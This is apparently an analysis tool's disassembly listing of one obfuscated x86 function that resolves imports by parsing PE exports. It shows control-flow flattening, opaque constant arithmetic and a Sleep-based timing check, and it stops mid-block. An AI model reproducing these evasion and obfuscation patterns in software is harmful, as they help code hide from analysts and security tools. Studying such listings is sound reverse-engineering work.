Function at 0x10067cc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov esi, esp
mov eax, dword [0x101d0fc8]
xor eax, ebp
mov dword [esi + 0x90], eax
mov eax, dword [0x101cd03c]
xor edx, edx
div dword [0x101cd040]
sub eax, 0x651fad6b
add eax, 0x3680f50f
add eax, 0x651fad6b
xor eax, 0x4e686508
mov ecx, eax
and ecx, 0xd57f8a6c
xor ecx, 0xffffffff
add eax, 0xd57f8a6c
add eax, 1
add eax, ecx
mov edi, 0xffffffff
xor edi, 0xa53a661e
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa53a661e
or eax, 0xa53a661e
imul eax, edx
add eax, ecx
mov ecx, 0xadd9b8f4
xor edx, edx
div ecx
mov ecx, 0xefc13354
xor edx, edx
div ecx
sub eax, 0xc7731963
add eax, 0xb28262f2
add eax, 0xc7731963
add eax, 0x46041db4
sub eax, 0xdd93ffb1
sub eax, 0x46041db4
mov ecx, 0x37898314
xor edx, edx
div ecx
mov ecx, 0x8e15dac
xor edx, edx
div ecx
imul eax, eax, 0x13857f1d
mov edi, 0xffffffff
xor edi, 0xf85dc05d
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf85dc05d
or eax, 0xf85dc05d
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x17fb6f65
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x17fb6f65
add eax, edx
sub eax, ecx
add eax, 0x67cad18f
and eax, 0x9a79e369
imul eax, eax, 0xc3a5671a
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x5c82ed7b
mov edx, 0xffffffff
xor edx, 0x5c82ed7b
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xd54f5b01
xor edx, edx
div ecx
imul ecx, eax, 0x30ccbd96
sub ecx, 0xd178d338
mov eax, ecx
and eax, 0xe3051765
xor eax, 0xffffffff
add ecx, 0xe3051765
add ecx, 1
add ecx, eax
sub ecx, 0x997229dd
add ecx, 0xe6178369
add ecx, 0x997229dd
sub ecx, 0x897764fb
sub ecx, 0x9fd32cd5
add ecx, 0x897764fb
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4d585ed1
or eax, edx
mov edx, 0x4d585ed1
and edx, 0x4d585ed1
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0x484ac0f6
add eax, 0x2ddd5ff7
mov ecx, 0x1297788d
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xe23560f6
add eax, ecx
mov edi, 0xffffffff
xor edi, 0xf970a2f2
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf970a2f2
or eax, 0xf970a2f2
imul eax, edx
add eax, ecx
mov ecx, 0xe7056b94
xor edx, edx
div ecx
mov ecx, 0x1ec3531e
xor edx, edx
div ecx
or eax, 0xb82b1672
sub eax, 0xf40aa1d2
xor ecx, ecx
sub ecx, 0x320a0f5b
add eax, ecx
mov ecx, 0x1f2f589c
xor edx, edx
div ecx
xor eax, 0x883f0bf9
mov ecx, eax
and ecx, 0xf5a2441c
shl ecx, 1
add eax, 0xf5a2441c
sub eax, ecx
mov ecx, eax
xor ecx, 0x2f5020ae
xor ecx, 0xffffffff
or eax, 0x2f5020ae
and eax, ecx
or eax, 0x491ceec8
mov dword [esi + 0x8c], 0xdaa041e7
lea ecx, [esi + 0x8c]
mov dword [esi + 0x84], ecx
mov ecx, 0x5c11b1d2
xor edx, edx
div ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x84]
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x8c]
mov dword [esi + 0x74], eax
sub eax, 0x8b562909
je 0x100680ec
jmp 0x10067f71
mov eax, dword [esi + 0x74]
sub eax, 0x8ba82398
je 0x100682bb
jmp 0x10067f84
mov eax, dword [esi + 0x74]
sub eax, 0x909316b4
je 0x10069a6e
jmp 0x10067f97
mov eax, dword [esi + 0x74]
sub eax, 0xae347d07
je 0x100698c0
jmp 0x10067faa
mov eax, dword [esi + 0x74]
sub eax, 0xc28071b4
je 0x10069386
jmp 0x10067fbd
mov eax, dword [esi + 0x74]
sub eax, 0xd01f8dd1
je 0x100682a4
jmp 0x10067fd0
mov eax, dword [esi + 0x74]
sub eax, 0xdaa041e7
je 0x100680cc
jmp 0x10067fe3
mov eax, dword [esi + 0x74]
sub eax, 0x1aede2c8
je 0x10068270
jmp 0x10067ff6
mov eax, dword [esi + 0x74]
sub eax, 0x23573fac
je 0x10068535
jmp 0x10068009
mov eax, dword [esi + 0x74]
sub eax, 0x37bfa7d0
je 0x10068d37
jmp 0x1006801c
mov eax, dword [esi + 0x74]
sub eax, 0x498b1f43
je 0x1006828d
jmp 0x1006802f
mov eax, dword [esi + 0x74]
sub eax, 0x4a8ed4af
je 0x100695f6
jmp 0x10068042
mov eax, dword [esi + 0x74]
sub eax, 0x53fdc059
je 0x1006936e
jmp 0x10068055
mov eax, dword [esi + 0x74]
sub eax, 0x54cf12a3
je 0x10068aa3
jmp 0x10068068
mov eax, dword [esi + 0x74]
sub eax, 0x66db26ab
je 0x1006904a
jmp 0x1006807b
mov eax, dword [esi + 0x74]
sub eax, 0x6ae85728
je 0x100698ce
jmp 0x1006808e
mov eax, dword [esi + 0x74]
sub eax, 0x6ee407ef
je 0x10069a36
jmp 0x100680a1
mov eax, dword [esi + 0x74]
sub eax, 0x70bdcc54
je 0x100687fa
jmp 0x100680b4
mov eax, dword [esi + 0x74]
sub eax, 0x72c37adb
je 0x10069a54
jmp 0x100680c7
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
mov edi, dword [esi + 0x78]
mov ecx, 0x8b562909
mov edx, 0x6ae85728
cmp edi, 0x6f880da9
cmova ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov edi, 0xbddaae7f
push eax
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x54], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x50], eax
mov esp, eax
push eax
push eax
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x4c], ecx
mov esp, ecx
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x68], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x60], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x5c], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x58], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10069b30
mov ecx, dword [esi + 0x4c]
mov edx, dword [esi + 0x50]
mov eax, esp
mov dword [eax], edx
call fcn.1006b0d0
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x54]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10069aa0
mov ecx, dword [esi + 0x54]
add esp, 8
call fcn.1006b100
mov ecx, eax
sub esp, 0x10
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0x3e8
call fcn.101ada30
mov dword [ebx + 4], edx
mov dword [ebx], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0xf0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
mov ecx, dword [esi + 0x58]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10069b30
mov ecx, dword [esi + 0x58]
mov edx, dword [esi + 0x5c]
mov eax, esp
mov dword [eax], edx
call fcn.1006b0d0
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x60]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10069aa0
mov ecx, dword [esi + 0x60]
add esp, 8
call fcn.1006b100
mov ecx, eax
sub esp, 0x10
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0x3e8
call fcn.101ada30
mov ecx, dword [esi + 0x64]
mov dword [esi + 0x6c], eax
mov eax, edx
mov edx, dword [esi + 0x68]
mov dword [edx + 4], eax
mov eax, dword [esi + 0x6c]
mov dword [edx], eax
mov eax, dword [esi + 0x7c]
mov edx, dword [edx]
mov ebx, dword [ebx]
sub edx, ebx
add edx, 0xffffff10
mov dword [ecx], edx
cmp dword [ecx], 0
setl cl
mov byte [esi + 0x73], cl
mov ecx, 0x6ae85728
mov edx, 0x1aede2c8
cmp edi, 0xda7c5879
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
mov bl, byte [esi + 0x73]
mov ecx, 0xd01f8dd1
mov edx, 0x498b1f43
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0x48]
mov dword [ecx], 1
mov dword [eax], 0x8ba82398
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0x48]
mov dword [ecx], 0
mov dword [eax], 0x8ba82398
jmp 0x10069a97
mov eax, dword [0x101cd04c]
mov edx, dword [0x101cd050]
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
or eax, 0x1ec0a88f
or eax, 0x8c5a5f4e
imul ecx, eax, 0x9ce85eea
sub ecx, 0x295d4911
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xd459615e
mov edx, 0xffffffff
xor edx, 0xd459615e
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xdcb3fb64
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xdcb3fb64
mov edi, 0xffffffff
xor edi, 0xdcb3fb64
or edx, edi
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
add eax, 0x5e6f1c34
mov ecx, 0xbf153bff
xor edx, edx
div ecx
and eax, 0xa7523aa6
mov ecx, 0x366d1641
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x3deec50d
sub eax, ecx
imul ecx, eax, 0x9a2cd88d
xor ecx, 0x941b8514
and ecx, 0x7b3b10b4
add ecx, 0xbbb1b7ac
xor ecx, 0x52d46853
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x48ba6fd2
mov edi, 0xffffffff
xor edi, 0x48ba6fd2
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x48ba6fd2
or ecx, 0x48ba6fd2
imul ecx, edx
add ecx, eax
mov edx, 0xffffffff
xor edx, 0xf679abe8
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x3819635e
mov ecx, 0xd4684f4e
xor edx, edx
div ecx
sub eax, 0xafd844cf
add eax, 0x1ceb037d
add eax, 0xafd844cf
or eax, 0x2fc2adb0
mov ecx, 0x2aa4fab3
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x8cde3375
mov edi, 0xffffffff
xor edi, 0x8cde3375
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x8cde3375
or ecx, 0x8cde3375
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xaaea414
xor ecx, 0xaaea414
or eax, ecx
mov ecx, 0xa4a5d2f8
xor edx, edx
div ecx
add eax, 0x850d4111
xor eax, 0x95c4434e
imul eax, eax, 0x1259820d
mov ecx, eax
xor ecx, 0xf62f3490
xor ecx, 0xffffffff
and ecx, 0xf62f3490
shl ecx, 1
sub ecx, 0xf62f3490
sub eax, ecx
xor eax, 0xa77d139f
imul eax, eax, 0xb60836d8
xor eax, 0x2883e66b
mov ecx, 0x697ebb28
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x576f6093
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xce2ad8bb
or edx, 0xce2ad8bb
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xce2ad8bb
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0x81680cdc
mov edx, 0xffffffff
xor edx, 0x81680cdc
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7824a71a
mov ecx, 0xffffffff
xor ecx, 0x266e72a2
or eax, edx
or ecx, 0x266e72a2
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0xb4e19e36
mov edx, 0xffffffff
xor edx, 0xb4e19e36
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x777e20d9
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x7c]
mov ecx, 0x23573fac
mov edx, 0xc28071b4
cmp edi, 0x400aee38
cmova ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov ecx, dword [0x101cd054]
mov eax, dword [0x101cd058]
sub ecx, 0xe103452d
add ecx, eax
add ecx, 0xe103452d
sub ecx, 0x704aebe5
sub ecx, 0x3050183d
add ecx, 0x704aebe5
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xab068271
mov edi, 0xffffffff
xor edi, 0xab068271
and edx, edi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xab068271
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0x82e8d88d
and eax, 0xa27d27f7
xor eax, 0x51426e81
imul edi, eax, 0xa1906ee
and edi, 0x56368e6d
sub edi, 0x4ded8e2
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xad98770e
mov edx, 0xffffffff
xor edx, 0xad98770e
mov eax, edi
and eax, edx
imul eax, ecx
mov ecx, edi
and ecx, 0xad98770e
or edi, 0xad98770e
imul edi, ecx
add edi, eax
and edi, 0x40e5ff7a
add edi, 0x6c7152e
mov eax, edi
xor eax, 0xffffffff
and eax, 0xa74b70f
mov edx, 0xffffffff
xor edx, 0xa74b70f
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x700dfefb
and ecx, 0xa74b70f
and edx, 0x700dfefb
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x1d330c8b
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0x39268b18
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4ed46106
mov edi, 0xffffffff
xor edi, 0x4ed46106
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x4ed46106
or eax, 0x4ed46106
imul eax, edx
add eax, ecx
add eax, 0xfbf97051
mov ecx, 0x82ef6a2f
xor edx, edx
div ecx
xor eax, 0x79e27369
sub eax, 0xb839f9b8
sub eax, 0x141160ef
add eax, 0xb839f9b8
and eax, 0x969a7b4
add eax, 0xd4383ce8
imul eax, eax, 0x3600507a
and eax, 0x3ffefb00
and eax, 0x72fb1827
mov edi, 0xffffffff
xor edi, 0xb3a33600
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb3a33600
or eax, 0xb3a33600
imul eax, edx
add eax, ecx
add eax, 0xbe6c6efd
add eax, 0x87246dd9
sub eax, 0xbe6c6efd
mov ecx, 0x32b976bd
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0xaa7856e5
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xaa7856e5
add eax, edx
sub eax, ecx
imul eax, eax, 0x92682b67
imul eax, eax, 0x652b02ab
or eax, 0xeae31172
or eax, 0x622d5c5e
mov ecx, eax
xor ecx, 0xfc6f386e
mov edx, 0xffffffff
xor edx, 0xfc6f386e
and eax, edx
shl eax, 1
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xeae00212
add ecx, eax
xor eax, eax
sub eax, ecx
imul ecx, eax, 0x142c3482
mov edx, ecx
xor edx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0x4cf7af8e
mov edi, 0xffffffff
xor edi, 0x6c0032f2
mov eax, edx
and eax, 0x6c0032f2
mov dword [esi + 0x38], eax
and ecx, edi
mov eax, ebx
and eax, 0x6c0032f2
mov dword [esi + 0x40], eax
mov eax, edi
and eax, 0x4cf7af8e
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x38]
or eax, ecx
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0x40]
or eax, ecx
mov ecx, dword [esi + 0x44]
xor ecx, eax
mov eax, dword [esi + 0x7c]
or edx, ebx
xor edx, 0xffffffff
or edi, 0x6c0032f2
and edx, edi
or ecx, edx
mov edi, ecx
and edi, 0xc7362eb1
or ecx, 0xc7362eb1
add edi, ecx
xor edi, 0x9ea35b85
or edi, 0xb7a12878
sub edi, 0x4ef1f66
mov ecx, 0x6ee407ef
mov edx, 0x70bdcc54
cmp edi, 0x472c5750
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov ecx, dword [0x101cd05c]
mov eax, dword [0x101cd060]
sub ecx, 0xf15f5f19
add ecx, eax
add ecx, 0xf15f5f19
add ecx, 0x12bd6877
sub ecx, 0xe3269fe7
xor ecx, 0x1d8c4593
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xeef2e6bc
or ecx, 0xeef2e6bc
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
and eax, 0x62d84483
add eax, 0x4419dfe9
sub eax, 0xb9e1c94b
sub eax, 0x4419dfe9
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x1ab68088
add eax, ecx
and eax, 0x64a58e56
or eax, 0x456805da
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x772f526a
mov ecx, 0xffffffff
xor ecx, 0x111b8322
or eax, edx
or ecx, 0x111b8322
xor eax, 0xffffffff
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [esi + 0x30], edx
mov ebx, 0xffffffff
xor ebx, 0xffdc45e0
mov edi, 0xffffffff
xor edi, 0xfe669b2f
and edx, 0xfe669b2f
and eax, edi
mov dword [esi + 0x28], eax
mov ecx, ebx
and ecx, 0xfe669b2f
mov eax, edi
and eax, 0xffdc45e0
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x28]
or edx, eax
mov eax, dword [esi + 0x2c]
or ecx, eax
mov eax, dword [esi + 0x30]
xor edx, ecx
mov ecx, dword [esi + 0x48]
or eax, ebx
xor eax, 0xffffffff
or edi, 0xfe669b2f
and eax, edi
or edx, eax
add edx, 0x9c09535c
mov eax, edx
and eax, 0x47f0635b
or edx, 0x47f0635b
add eax, edx
add eax, 0x820f01c5
mov edi, 0x50f7927
xor edx, edx
div edi
mov edx, eax
and edx, 0x8d1b0f97
xor eax, 0x8d1b0f97
or edx, eax
and edx, 0x8c264682
mov eax, edx
or eax, 0xb7739e1b
xor eax, 0xffffffff
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xb7739e1b
and edx, edi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
add eax, 0x18f9e911
mov edx, eax
and edx, 0xb32c0615
shl edx, 1
xor eax, 0xb32c0615
add eax, edx
mov edi, 0x6806867b
xor edx, edx
div edi
mov edi, 0x311101d0
xor edx, edx
div edi
mov edx, eax
mov eax, edx
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7704bbb5
or eax, edi
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7704bbb5
or edx, edi
and eax, edx
xor eax, 0xffffffff
imul eax, eax, 0x13a61c55
imul eax, eax, 0x60ffe128
imul ebx, eax, 0xdcc7162a
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x51cb4fc5
mov edi, 0xffffffff
xor edi, 0x51cb4fc5
and ebx, edi
mov edx, 0xffffffff
xor edx, 0x8696d40
and edx, 0x51cb4fc5
and edi, 0x8696d40
or eax, ebx
or edx, edi
xor eax, edx
add eax, 0x1ff25af7
sub eax, 0x408fdd5a
add eax, 0xf50b823f
add eax, 0x408fdd5a
mov edx, eax
and edx, 0x96e5f0aa
shl edx, 1
xor eax, 0x96e5f0aa
add eax, edx
mov edi, 0x708837fe
xor edx, edx
div edi
mov edi, 0x93a7abeb
xor edx, edx
div edi
mov ebx, 0xffffffff
xor ebx, 0x2acaa435
mov edi, eax
and edi, ebx
mov edx, eax
or edx, ebx
xor edx, 0xffffffff
imul edx, edi
mov edi, eax
and edi, 0x2acaa435
or eax, 0x2acaa435
imul eax, edi
add eax, edx
and eax, 0xeabbc709
imul eax, eax, 0x8ec86da3
and eax, 0xf4c1b7f9
or eax, 0x7ad5936c
sub eax, 0xa087e474
add eax, 0xa7e32b14
add eax, 0xa087e474
mov edi, 0x1ea8f5a8
xor edx, edx
div edi
mov edi, 0x6530257c
xor edx, edx
div edi
mov edi, eax
mov eax, dword [esi + 0x7c]
mov ecx, dword [ecx]
mov dword [esi + 0x34], ecx
mov ecx, 0x70bdcc54
mov edx, 0x54cf12a3
cmp edi, 0x3a4463d9
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov ecx, dword [0x101cd064]
and ecx, dword [0x101cd068]
sub ecx, 0x11b87984
sub ecx, 0xbdeccf4a
add ecx, 0x99639750
mov eax, ecx
and eax, 0xbf208c16
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbf208c16
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2a0a7fa4
xor edx, edx
div ecx
add eax, 0x25e8d602
imul eax, eax, 0xbf9125f9
and eax, 0xb46ae7fd
add eax, 0xe882a403
sub eax, 0x6b4af8ba
sub eax, 0xe882a403
add eax, 0x80360a2b
sub eax, 0x73def4a5
sub eax, 0x80360a2b
add eax, 0xdb7dfdf8
and eax, 0x2f2f80e5
add eax, 0xf5fa8a3c
add eax, 0x16f8bbb3
sub eax, 0xf5fa8a3c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc41fe30
mov edx, 0xffffffff
xor edx, 0xc41fe30
and eax, edx
sub eax, ecx
xor eax, 0x3b01db93
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x87882536
mov edx, 0xffffffff
xor edx, 0x87882536
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x2f2c9437
mov edx, 0xffffffff
xor edx, 0x2f2c9437
and eax, edx
sub eax, ecx
xor eax, 0xd6cb3ea
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x507d3ff3
mov edx, 0xffffffff
xor edx, 0x507d3ff3
and eax, edx
sub eax, ecx
mov edi, 0xffffffff
xor edi, 0x7773428
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7773428
or eax, 0x7773428
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3fb295a0
mov edi, 0xffffffff
xor edi, 0x3fb295a0
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x3fb295a0
or eax, 0x3fb295a0
imul eax, edx
add eax, ecx
imul eax, eax, 0xb6a5dcc8
xor eax, 0x969d19c3
and eax, 0xf3864918
mov ecx, 0xc8315862
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [esi + 0x7c]
add edx, 0xb0cb3bf5
mov ecx, edx
and ecx, 0x1aa18c0
xor edx, 0x1aa18c0
or ecx, edx
mov ebx, 0xffffffff
xor ebx, 0xc0e94c54
mov edi, ecx
and edi, ebx
mov edx, ecx
or edx, ebx
xor edx, 0xffffffff
imul edx, edi
mov edi, ecx
and edi, 0xc0e94c54
or ecx, 0xc0e94c54
imul ecx, edi
add ecx, edx
or ecx, 0xa66f0490
xor ecx, 0x333bf9f4
sub ecx, 0x681b593c
mov ebx, 0xffffffff
xor ebx, 0x1d335aed
mov edi, ecx
and edi, ebx
mov edx, ecx
or edx, ebx
xor edx, 0xffffffff
imul edx, edi
mov edi, ecx
and edi, 0x1d335aed
or ecx, 0x1d335aed
imul ecx, edi
add ecx, edx
sub ecx, 0x23166245
add ecx, 0x253a8d0b
sub ecx, 0x3f3fa77a
sub ecx, 0x253a8d0b
imul ecx, ecx, 0xbb09a495
mov edx, ecx
add edx, 1
xor ecx, 0xffffffff
or ecx, 0x6048a956
add ecx, edx
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfba0ccf3
mov edi, 0xffffffff
xor edi, 0xfba0ccf3
and edx, edi
or ecx, edx
xor ecx, 0xffffffff
imul edx, ecx, 0x721ce0a2
mov edi, 0xffffffff
xor edi, 0xbb0872ea
mov ecx, edx
xor ecx, edi
and ecx, edx
mov edx, 0xffffffff
xor edx, 0xd9dca66f
mov edi, ecx
xor edi, edx
and edi, ecx
mov ecx, 0xc28071b4
mov edx, 0x37bfa7d0
cmp edi, 0x2723a7e5
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov eax, dword [0x101cd06c]
imul eax, dword [0x101cd070]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc59cd8ff
mov edx, 0xffffffff
xor edx, 0xc59cd8ff
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x27b9a3e3
mov edx, 0xffffffff
xor edx, 0x27b9a3e3
and eax, edx
sub eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x889f8aae
mov edx, 0xffffffff
xor edx, 0x889f8aae
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x6bb4d64a
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6bb4d64a
or eax, 0x6bb4d64a
imul eax, edx
add eax, ecx
add eax, 0x9c5a1ed8
sub eax, 0xed78c424
sub eax, 0x9c5a1ed8
sub eax, 0xd0d8ae9
add eax, 0xe5424912
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0x9613e140
or edx, 0x9613e140
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9613e140
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xe3b99aee
or ecx, 0xe3b99aee
add eax, ecx
mov ecx, 0x14c08ee7
xor edx, edx
div ecx
xor eax, 0x9c043ee9
mov ecx, 0x685c359a
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x5cd2a984
shl ecx, 1
add eax, 0x5cd2a984
sub eax, ecx
sub eax, 0x882f98d4
mov ecx, 0x6dcd741f
xor edx, edx
div ecx
sub eax, 0xd4e598ec
sub eax, 0xb31f61f0
add eax, 0xd4e598ec
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd0341259
mov edi, 0xffffffff
xor edi, 0xd0341259
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xd0341259
or eax, 0xd0341259
imul eax, edx
add eax, ecx
mov ecx, 0x79f3aef9
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x11d09971
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edi, 0xffffffff
xor edi, 0x9df32f03
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9df32f03
or eax, 0x9df32f03
imul eax, edx
add eax, ecx
xor eax, 0xf815582
mov ecx, 0xbbc578d8
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x9ad46a45
mov edx, 0xffffffff
xor edx, 0x9ad46a45
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x742f9f07
mov edx, eax
xor edx, 0xffffffff
and edx, 0x860633a1
mov edi, 0xffffffff
xor edi, 0x860633a1
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x860633a1
or eax, 0x860633a1
imul eax, edx
add eax, ecx
mov ecx, 0x4a4c6cdc
xor edx, edx
div ecx
sub eax, 0x616cba0b
mov ecx, eax
xor ecx, 0xe3c98309
xor ecx, 0xffffffff
